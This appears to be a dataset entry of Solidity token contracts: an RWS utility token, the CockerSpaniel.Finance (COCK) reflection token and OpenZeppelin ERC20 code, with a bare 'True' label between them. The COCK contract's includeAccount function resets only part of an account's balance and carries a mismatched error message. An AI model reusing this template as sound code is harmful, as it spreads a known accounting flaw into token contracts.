emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.1.0/contracts/token/ERC20/ERC20Burnable.sol
pragma solidity ^0.6.0;
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
abstract contract ERC20Burnable is Context, ERC20 {
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
}
// File: browser/RWS.sol
/*
* Robonomics Web Services utility token.
* (c) Robonomics Team <[email protected]>
*/
pragma solidity ^0.6;
contract RWS is ERC20, ERC20Burnable, Ownable {
constructor() public ERC20("Robonomics Web Services :: V1", "RWS") {
_mint(_msgSender(), 100 * 10**18);
}
function mint(uint256 amount) onlyOwner external {
_mint(_msgSender(), amount);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-03-24
*/
// CockerSpaniel.Finance (COCK)
// COCK, DeFi for all dog lovers
// COCK is a deflationary token with burn and redistribution to all holders per transaction
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract COCK is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'CockerSpaniel.Finance';
string private _symbol = 'COCK';
uint8 private _decimals = 9;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(2);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
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/**
*Submitted for verification at Etherscan.io on 2021-06-19
*/
// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
